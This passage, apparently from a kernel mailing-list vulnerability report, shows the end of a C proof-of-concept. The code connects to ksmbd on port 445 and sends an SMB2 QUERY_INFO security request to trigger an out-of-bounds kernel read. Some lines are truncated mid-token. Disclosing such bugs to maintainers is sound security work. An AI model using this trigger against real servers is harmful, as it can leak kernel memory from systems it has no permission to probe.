req.sub_auth[0]=1; req.sub_auth[1]=2; req.sub_auth[2]=3;
req.smb2_max_credits=8192; req.max_connections=128;
nl_send(nl_sock, nl_family_id, KSMBD_EVENT_STARTING_UP, KSMBD_EVENT_STARTI;
/* Connect to ksmbd */
int ss = -1;
for (int i = 0; i < 30; i++) {
ss = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sv = {.sin_family=AF_INET, .sin_port=htons(445), .s;
if (connect(ss, (void*)&sv, sizeof(sv)) == 0) break;
close(ss); ss = -1; usleep(500000);
}
if (ss < 0) { fprintf(stderr, "Cannot connect\n"); return 1; }
if (negotiate(ss)) goto end;
if (session_setup(ss)) goto end;
if (tree_connect(ss)) goto end;
if (create_file(ss, "testfile.txt")) goto end;
/* One QUERY_INFO(SecInfo=DACL) is enough; the read is deterministic. */
printf("[*] Triggering OOB read...\n"); fflush(stdout);
query_info_sec(ss);
usleep(500000);
end:
close(ss); daemon_running = 0; close(nl_sock); sleep(1);
return 0;}
```
Best,
Xiang
> --
> ChenXiaoSong <chenxiaosong@chenxiaosong.com>
> Chinese Homepage: https://chenxiaosong.com
> English Homepage: https://chenxiaosong.com/en
>
^ permalink raw reply [flat|nested] 6+ messages in thread